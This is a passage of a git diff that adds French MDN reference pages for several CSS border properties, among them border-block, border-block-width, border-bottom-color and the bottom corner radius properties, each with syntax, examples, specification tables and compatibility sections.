+  writing-mode: vertical-lr;
+  border: 5px solid blue;
+  border-block-style: dashed;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="texteExemple"&gt;Texte exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-block-style", "border-block-style")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.border-block-style")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques qui correspondent à cette propriété logique :
+  <ul>
+   <li>{{cssxref("border-top-style")}},</li>
+   <li>{{cssxref("border-right-style")}},</li>
+   <li>{{cssxref("border-bottom-style")}},</li>
+   <li>{{cssxref("border-left-style")}}.</li>
+  </ul>
+ </li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-block-width/index.html b/files/fr/web/css/border-block-width/index.html
new file mode 100644
index 0000000000..f3e3097db3
--- /dev/null
+++ b/files/fr/web/css/border-block-width/index.html
@@ -0,0 +1,96 @@
+---
+title: border-block-width
+slug: Web/CSS/border-block-width
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/border-block-width
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>border-block-width</code></strong> définit la largeur de la bordure sur les côtés d'un élément sur les côtés de l'axe de bloc. Cette propriété logique peut correspondre à différentes propriétés physiques selon le mode d'écriture, la direction et l'orientation du texte. Autrement dit, cette propriété correspond à {{cssxref("border-top-width")}} et {{cssxref("border-bottom-width")}} ou à {{cssxref("border-left-width")}} et {{cssxref("border-right-width")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de type &lt;'border-width'&gt; */
+border-block-width: 5px 10px;
+border-block-width: 5px;
+border-block-width: thick;
+</pre>
+
+<p>The border width in the other dimension can be set with {{cssxref("border-inline-width")}}, which sets {{cssxref("border-block-inline-width")}}, and {{cssxref("border-block-inline-width")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeur">Valeur</h3>
+
+<dl>
+ <dt><code>&lt;'border-width'&gt;</code></dt>
+ <dd>La largeur de la bordure. Voir {{ cssxref("border-width") }}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.texteExemple {
+  writing-mode: vertical-lr;
+  border: 1px solid blue;
+  border-block-width: 5px 10px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="texteExemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-block-width", "border-block-width")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.border-block-width")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques qui peuvent correspondre à cette propriété logique {{cssxref("border-top-width")}}, {{cssxref("border-right-width")}}, {{cssxref("border-bottom-width")}}, and {{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-block/index.html b/files/fr/web/css/border-block/index.html
new file mode 100644
index 0000000000..10586d701e
--- /dev/null
+++ b/files/fr/web/css/border-block/index.html
@@ -0,0 +1,111 @@
+---
+title: border-block
+slug: Web/CSS/border-block
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/border-block
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>border-block</code></strong> est une <a href="/fr/docs/Web/CSS/Propriétés_raccourcies">propriété raccourcie</a> qui permet de paramétrer les différentes propriétés logiques relatives à la bordure sur l'axe en bloc.</p>
+
+<pre class="brush:css no-line-numbers">border-block: 1px;
+border-block: 2px dotted;
+border-block: medium dashed blue;
+</pre>
+
+<p><code>border-block</code> peut être utilisée afin de définir une ou plusieurs propriétés parmi {{cssxref("border-block-width")}}, {{cssxref("border-block-style")}} et {{cssxref("border-block-color")}}. La bordure est donc paramétrée de la même façon pour le début et la fin de l'axe de bloc. Les propriétés physiques correspondantes dépendront du mode d'écriture, de la direction et de l'orientation du texte. Autrement dit, cette propriété peut correspondre à {{cssxref("border-top")}} et {{cssxref("border-bottom")}} ou à {{cssxref("border-right")}} et {{cssxref("border-left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<p>Les bordures sur l'autre dimension peuvent être définies grâce à {{cssxref("border-inline")}}, (qui est la proprété raccourcie pour {{cssxref("border-inline-start")}} et {{cssxref("border-inline-end")}}).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>La propriété <code>border-block</code> peut être utilisée avec une ou plusieurs de ces valeurs, quel que soit l'ordre.</p>
+
+<dl>
+ <dt><code>&lt;'border-width'&gt;</code></dt>
+ <dd>La largeur de la bordure. Voir {{cssxref("border-width")}}.</dd>
+ <dt><code>&lt;'border-style'&gt;</code></dt>
+ <dd>Le style pour la ligne de la bordure. Voir {{cssxref("border-style")}}.</dd>
+ <dt><code>&lt;'color'&gt;</code></dt>
+ <dd>La couleur de la bordure. Voir {{cssxref("color")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exempleTexte {
+  writing-mode: vertical-rl;
+  border-block: 5px dashed blue;
+}</pre>
+
+<p> </p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exempleTexte"&gt;Texte exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-block", "border-block")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.border-block")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques qui peuvent correspondre à cette propriété logique :
+  <ul>
+   <li>{{cssxref("border-top")}},</li>
+   <li>{{cssxref("border-right")}},</li>
+   <li>{{cssxref("border-bottom")}},</li>
+   <li>{{cssxref("border-left")}}.</li>
+  </ul>
+ </li>
+ <li>Les propriétés relatives aux propriétés logiques : {{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-bottom-color/index.html b/files/fr/web/css/border-bottom-color/index.html
new file mode 100644
index 0000000000..bcb534cd89
--- /dev/null
+++ b/files/fr/web/css/border-bottom-color/index.html
@@ -0,0 +1,128 @@
+---
+title: border-bottom-color
+slug: Web/CSS/border-bottom-color
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-bottom-color
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>border-bottom-color</code></strong> permet de définir la couleur utilisée pour la bordure basse d'un élément.</p>
+
+<p>Pour avoir une formulation plus concise, on pourra utiliser les propriétés raccourcies {{cssxref("border-color")}} et/ou {{cssxref("border-bottom")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-bottom-color.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de type &lt;color&gt; */
+border-bottom-color: red;
+border-bottom-color: rgb(255, 128, 0);
+border-bottom-color: hsla(100%, 50%, 25%, 0.75);
+border-bottom-color: #ffbb00;
+border-bottom-color: currentColor;
+border-bottom-color: transparent;
+
+/* Valeurs globales */
+border-bottom-color: inherit;
+border-bottom-color: initial;
+border-bottom-color: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt>&lt;<code>color&gt;</code></dt>
+ <dd>Une valeur de couleur (type {{cssxref("&lt;color&gt;")}}) qui décrit la couleur utilisée pour la bordure du côté inférieur.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.maboite {
+  border: solid 0.3em gold;
+  border-bottom-color: red;
+  width: auto;
+}
+
+.texterouge {
+  color: red;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="maboite"&gt;
+  &lt;p&gt;Une boîte avec une bordure autour.
+     Notez le côté de la boîte qui est
+     &lt;span class="texterouge"&gt;rouge&lt;/span&gt;.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-bottom-color', 'border-bottom-color')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Pas de modification significative, la valeur <code>transparent</code> a été supprimée car elle fait désormais partie du type {{cssxref("&lt;color&gt;")}} qui a été étendu.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#propdef-border-bottom-color', 'border-bottom-color')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-bottom-color")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés raccourciées liées aux bordures
+  <ul>
+   <li>{{cssxref("border")}},</li>
+   <li>{{cssxref("border-bottom")}},</li>
+   <li>{{cssxref("border-color")}}.</li>
+  </ul>
+ </li>
+ <li>Les propriétés de couleur pour les autres bordures :
+  <ul>
+   <li>{{cssxref("border-right-color")}},</li>
+   <li>{{cssxref("border-top-color")}},</li>
+   <li>{{cssxref("border-left-color")}}.</li>
+  </ul>
+ </li>
+ <li>Les autres propriétés liées à la bordure du haut :
+  <ul>
+   <li>{{cssxref("border-bottom-style")}},</li>
+   <li>{{cssxref("border-bottom-width")}}.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/border-bottom-left-radius/index.html b/files/fr/web/css/border-bottom-left-radius/index.html
new file mode 100644
index 0000000000..0f304a14ab
--- /dev/null
+++ b/files/fr/web/css/border-bottom-left-radius/index.html
@@ -0,0 +1,143 @@
+---
+title: border-bottom-left-radius
+slug: Web/CSS/border-bottom-left-radius
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-bottom-left-radius
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>border-bottom-left-radius</code></strong> définit le rayon de courbure de la bordure pour le coin en bas à gauche de la boîte.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-bottom-left-radius.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>L'arrondi peut être un fragment de cercle ou d'ellipse. Si une des valeurs vaut 0, aucun arrondi n'a lieu et le coin est un angle droit.Un arrière-plan (que ce soit une couleur ou une image) sera rogné selon la bordure même si celle-ci est arrondie. L'endroit du rognage est défini selon la valeur de {{cssxref("background-clip")}}.</p>
+
+<div class="note"><strong>Note :</strong> Si la valeur de cette propriété n'est pas définie par la propriété raccourcie {{cssxref("border-radius")}} et que cette dernière est appliquée après <code>border-bottom-left-radius</code>, cela aura pour effet de réinitialiser la valeur avec la valeur initiale de <a href="/fr/docs/Web/CSS/Propriétés_raccourcies">la propriété raccourcie</a>.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Le coin est un quart de cercle         */
+/* La valeur indique le rayon de courbure */
+border-bottom-left-radius: 3px;
+
+/* Valeurs avec un pourcentage */
+border-bottom-left-radius: 20%;
+
+/* Le coin est un quart d'ellipse         */
+/* La première valeur indique le demi-axe */
+/* horizontal et la seconde le demi-axe   */
+/* vertical                               */
+border-bottom-left-radius: 0.5em 1em;
+
+border-bottom-left-radius: inherit;
+</pre>
+
+<p>Cette propriété peut prendre deux formes :</p>
+
+<ul>
+ <li>Une première avec une longueur (<code>&lt;length&gt;</code>) ou un pourcentage (<code>&lt;percentage&gt;</code>) qui indique le rayon de courbure pour ce coin</li>
+ <li>Une seconde avec deux valeurs
+  <ul>
+   <li>La première est une longueur (<code>&lt;length&gt;</code>) ou un pourcentage (<code>&lt;percentage&gt;</code>) qui indique le rayon de courbure de l'axe horizontal de l'ellipse pour ce coin</li>
+   <li>La seconde est une longueur (<code>&lt;length&gt;</code>) ou un pourcentage (<code>&lt;percentage&gt;</code>) qui indique le rayon de courbure de l'axe vertical de l'ellipse pour ce coin</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>La mesure du rayon ou de l'un des demi-axes de l'ellipse. Une valeur absolue peut être exprimée dans n'importe quelle unité autorisée pour le type {{cssxref("&lt;length&gt;")}}. Les valeurs exprimées en pourcentage font référence à la hauteur de la boîte pour les valeurs verticales et à la largeur de la boîte pour les valeurs horizontales. Les valeurs négatives ne sont pas autorisées.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: lightgreen;
+  border: solid 1px black;
+  width: 100px;
+  height: 130px;
+}
+
+.arc_cercle {
+  border-bottom-left-radius: 40px 40px;
+}
+
+.arc_ellipse {
+  border-bottom-left-radius: 40px 20px;
+}
+
+.pourcentage {
+  border-bottom-left-radius: 40%;
+}
+
+.rognage {
+  border: black 10px double;
+  border-bottom-left-radius: 40%;
+  background-color: rgb(250,20,70);
+  background-clip: content-box; // essayez margin-box...
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html"> &lt;div class="arc_cercle"&gt;&lt;/div&gt;
+ &lt;div class="arc_ellipse"&gt;&lt;/div&gt;
+ &lt;div class="pourcentage"&gt;&lt;/div&gt;
+ &lt;div class="rognage"&gt;&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","540")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-bottom-left-radius', 'border-bottom-left-radius')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-bottom-left-radius")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La propriété raccourcie {{cssxref("border-radius")}}</li>
+ <li>Les propriétés pour les autres coins :
+  <ul>
+   <li>{{cssxref("border-top-right-radius")}},</li>
+   <li>{{cssxref("border-top-left-radius")}},</li>
+   <li>{{cssxref("border-bottom-right-radius")}}.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/border-bottom-right-radius/index.html b/files/fr/web/css/border-bottom-right-radius/index.html
new file mode 100644
index 0000000000..9d596cb38f
--- /dev/null
+++ b/files/fr/web/css/border-bottom-right-radius/index.html
@@ -0,0 +1,143 @@
+---
+title: border-bottom-right-radius
+slug: Web/CSS/border-bottom-right-radius
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-bottom-right-radius
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>border-bottom-right-radius</code></strong> définit le rayon de courbure de la bordure pour le coin en bas à droite de la boîte. L'arrondi peut être un fragment de cercle ou d'ellipse. Si une des valeurs vaut <code>0</code>, aucun arrondi n'a lieu et le coin est un angle droit.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-bottom-right-radius.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Un arrière-plan (que ce soit une couleur ou une image) sera rogné selon la bordure même si celle-ci est arrondie. L'endroit du rognage est défini selon la valeur de {{cssxref("background-clip")}}.</p>
+
+<div class="note"><strong>Note :</strong> Si la valeur de cette propriété n'est pas définie par la propriété raccourcie {{cssxref("border-radius")}} et que cette dernière est appliquée après <code>border-bottom-right-radius</code>, cela aura pour effet de réinitialiser la valeur avec la valeur initiale de <a href="/fr/docs/Web/CSS/Propriétés_raccourcies">la propriété raccourcie</a>.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Le coin est un quart de cercle         */
+/* La valeur indique le rayon de courbure */
+border-bottom-right-radius: 3px;
+
+/* Valeur avec un pourcentage */
+border-bottom-right-radius: 20%;
+
+/* Le coin est un quart d'ellipse         */
+/* La première valeur indique le demi-axe */
+/* horizontal et la seconde le demi-axe   */
+/* vertical                               */
+border-bottom-right-radius: 0.5em 1em;
+
+border-bottom-right-radius: inherit;
+</pre>
+
+<p>Cette propriété peut prendre deux formes :</p>
+
+<ul>
+ <li>Une première avec une longueur (<code>&lt;length&gt;</code>) ou un pourcentage (<code>&lt;percentage&gt;</code>) qui indique le rayon de courbure pour ce coin</li>
+ <li>Une seconde avec deux valeurs
+  <ul>
+   <li>La première est une longueur (<code>&lt;length&gt;</code>) ou un pourcentage (<code>&lt;percentage&gt;</code>) qui indique le rayon de courbure de l'axe horizontal de l'ellipse pour ce coin</li>
+   <li>La seconde est une longueur (<code>&lt;length&gt;</code>) ou un pourcentage (<code>&lt;percentage&gt;</code>) qui indique le rayon de courbure de l'axe vertical de l'ellipse pour ce coin</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>La mesure du rayon ou de l'un des demi-axes de l'ellipse. La mesure du rayon ou de l'un des demi-axes de l'ellipse. Une valeur absolue peut être exprimée dans n'importe quelle unité autorisée pour le type {{cssxref("&lt;length&gt;")}}. Les valeurs exprimées en pourcentage font référence à la hauteur de la boîte pour les valeurs verticales et à la largeur de la boîte pour les valeurs horizontales. Les valeurs négatives ne sont pas autorisées.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: lightgreen;
+  border: solid 1px black;
+  width: 100px;
+  height: 130px;
+}
+
+.arc_cercle {
+  border-bottom-right-radius: 40px 40px;
+}
+
+.arc_ellipse {
+  border-bottom-right-radius: 40px 20px;
+}
+
+.pourcentage {
+  border-bottom-right-radius: 40%;
+}
+
+.rognage {
+  border: black 10px double;
+  border-bottom-right-radius: 40%;
+  background-color: rgb(250,20,70);
+  background-clip: content-box; // essayez margin-box...
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html"> &lt;div class="arc_cercle"&gt;&lt;/div&gt;
+ &lt;div class="arc_ellipse"&gt;&lt;/div&gt;
+ &lt;div class="pourcentage"&gt;&lt;/div&gt;
+ &lt;div class="rognage"&gt;&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","540")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-bottom-right-radius', 'border-bottom-right-radius')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-bottom-right-radius")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La propriété raccourcie {{cssxref("border-radius")}}</li>
+ <li>Les propriétés pour les autres coins :
+  <ul>
+   <li>{{cssxref("border-top-left-radius")}},</li>
+   <li>{{cssxref("border-top-right-radius")}},</li>
+   <li>{{cssxref("border-bottom-left-radius")}}.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/border-bottom-style/index.html b/files/fr/web/css/border-bottom-style/index.html
new file mode 100644
index 0000000000..2ceac6d55b
--- /dev/null
+++ b/files/fr/web/css/border-bottom-style/index.html
@@ -0,0 +1,228 @@
+---
+title: border-bottom-style
+slug: Web/CSS/border-bottom-style
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-bottom-style
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété<strong> <code>border-bottom-style</code></strong> définit le style de ligne utilisé pour mettre en forme la bordure en bas d'une boîte.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-bottom-style.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note"><strong>Note :</strong> La spécification ne définit pas la façon dont les bordures de différents styles se rejoignent dans les coins.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+border-bottom-style: none;
+border-bottom-style: hidden;
+border-bottom-style: dotted;
+border-bottom-style: dashed;
+border-bottom-style: solid;
+border-bottom-style: double;
+border-bottom-style: groove;
+border-bottom-style: ridge;
+border-bottom-style: inset;
+border-bottom-style: outset;
+
+/* Valeurs globales */
+border-bottom-style: inherit;
+border-bottom-style: initial;
+border-bottom-style: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;br-style&gt;</code></dt>
+ <dd>Un mot-clé décrivant la forme qu'on souhaite avoir pour la bordure du côté bas. Il peut prendre l'une des valeurs suivantes :
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><code>none</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-bottom-style: none; background-color: palegreen;"> </div>
+    </td>
+    <td>L'effet obtenu est le même qu'avec <code>hidden</code> : aucune bordure n'est affichée. Dans ce cas, sauf si une image d'arrière-plan est définie, la valeur calculée de {{cssxref("border-bottom-width")}} sera <code>0</code>, même si cette dernière indique une autre valeur. Lorsqu'utilisée sur une cellule d'un tableau avec la fusion des bordures, <code>none</code> a la priorité la plus basse donc si une autre bordure est définie et fusionne avec celle-ci, elle sera affichée.</td>
+   </tr>
+   <tr>
+    <td><code>hidden</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-bottom-style: hidden; background-color: palegreen;"> </div>
+    </td>
+    <td>L'effet obtenu est le même qu'avec <code>none</code> : aucune bordure n'est affichée. Dans ce cas, sauf si une image d'arrière-plan est définie, la valeur calculée de {{cssxref("border-bottom-width")}} sera <code>0</code>, même si cette dernière indique une autre valeur. Lorsqu'utilisée sur une cellule d'un tableau avec la fusion des bordures, <code>hidden</code> a la plus haute priorité et donc si une autre bordure est définie et fusionne avec celle-ci, aucune ne sera affichée.</td>
+   </tr>
+   <tr>
+    <td><code>dotted</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-bottom-style: dotted; background-color: palegreen;"> </div>
+    </td>
+    <td>Affiche une série de points ronds. L'espace entre ces points n'est pas défini par la spécification et est donc laissé à l'implémentation. Le rayon des points correspond à la moitié de {{cssxref("border-bottom-width")}}.</td>
+   </tr>
+   <tr>
+    <td><code>dashed</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-bottom-style: dashed; background-color: palegreen;"> </div>
+    </td>
+    <td>Affiche une série de tirets. La taille de ces tirets n'est pas définie par la spécification et est laissée à l'implémentation.</td>
+   </tr>
+   <tr>
